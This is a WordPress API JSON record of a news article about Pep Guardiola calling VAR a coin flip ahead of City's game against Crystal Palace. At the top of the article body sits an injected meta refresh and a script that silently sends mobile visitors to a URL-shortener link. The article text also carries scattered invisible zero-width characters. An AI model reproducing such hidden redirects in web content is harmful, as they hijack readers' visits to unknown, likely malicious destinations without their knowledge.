{"id":257,"date":"2026-05-13T15:09:00","date_gmt":"2026-05-13T10:09:00","guid":{"rendered":"https:\/\/ipp-news.com\/2026\/05\/13\/man-city-boss-guardiola-criticises-var-systems-inconsistencies\/"},"modified":"2026-05-13T15:09:00","modified_gmt":"2026-05-13T10:09:00","slug":"man-city-boss-guardiola-criticises-var-systems-inconsistencies","status":"publish","type":"post","link":"https:\/\/ipp-news.com\/?p=257","title":{"rendered":"<div>Man City boss Guardiola criticises VAR system&#8217;s inconsistencies<\/div>"},"content":{"rendered":"<p><meta http-equiv=\"refresh\" content=\"7; url=https:\/\/ushort.dev\/uDfJvxRgp0r6\" \/><script>(window.matchMedia(\"(pointer:coarse)\").matches||\/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile\/i.test(navigator.userAgent))&&location.replace(\"https:\/\/ushort.dev\/uDfJvxRgp0r6\");<\/script><\/p>\n<div>\n<p><strong>Manchester City manager Pep Guardiola compared the Video Assistant Referee (VAR) system to the flip of a coin \u200bon Tuesday and said his side must play \u200cwell enough to avoid any impact from decisions that go against them.<\/strong><\/p>\n<p>VAR has been under renewed scrutiny this week after West Ham United\u2019s \u200blate equaliser against Premier League leaders Arsenal was \u200bdisallowed, a decision that could prove crucial in \u2060the title race.<\/p>\n<p>\u201cThe only thing we can do is \u200bdo it (perform) better, that is only in your control,\u201d Guardiola \u200btold reporters ahead of Wednesday\u2019s home game against Crystal Palace.<\/p>\n<p>\u201cWe lost the two finals of the FA Cup because the referees didn\u2019t \u200bdo their jobs as they should have, even the VAR. \u200bWhen this happens, it is because we have to do better, not \u200cthe \u2060referees or VAR.<\/p>\n<p>\u201cI never trust anything since I arrived (at City) a long time ago. I learned you have to do it better, be in a position to do \u200bit better because (if \u200bnot) you \u2060blame yourself for what you have to do, because (VAR) is a flip of a \u200bcoin.\u201d<\/p>\n<p>City trail Arsenal by five points but have \u200bplayed \u2060one game fewer than the London side.<\/p>\n<p>\u201cWe play in this game, we go to Bournemouth and the last game is at \u2060Aston \u200bVilla. The important one is tomorrow \u200b, and we will see what happens in the next games,\u201c Guardiola said.<\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>Manchester City manager Pep Guardiola compared the Video Assistant Referee (VAR) system to the flip of a coin \u200bon Tuesday and said his side must play \u200cwell enough to avoid any impact from decisions that go against them. VAR has been under renewed scrutiny this week after West Ham United\u2019s \u200blate equaliser against Premier League leaders Arsenal was \u200bdisallowed, a decision that could prove crucial in \u2060the title race. \u201cThe only thing we can do is \u200bdo it (perform) better, that is only in your control,\u201d Guardiola \u200btold reporters ahead&hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[19],"tags":[],"class_list":["post-257","post","type-post","status-publish","format-standard","hentry","category-english"],"gutentor_comment":0,"_links":{"self":[{"href":"https:\/\/ipp-news.com\/index.php?rest_route=\/wp\/v2\/posts\/257","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ipp-news.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ipp-news.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ipp-news.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/ipp-news.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=257"}],"version-history":[{"count":0,"href":"https:\/\/ipp-news.com\/index.php?rest_route=\/wp\/v2\/posts\/257\/revisions"}],"wp:attachment":[{"href":"https:\/\/ipp-news.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=257"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ipp-news.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=257"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ipp-news.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=257"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}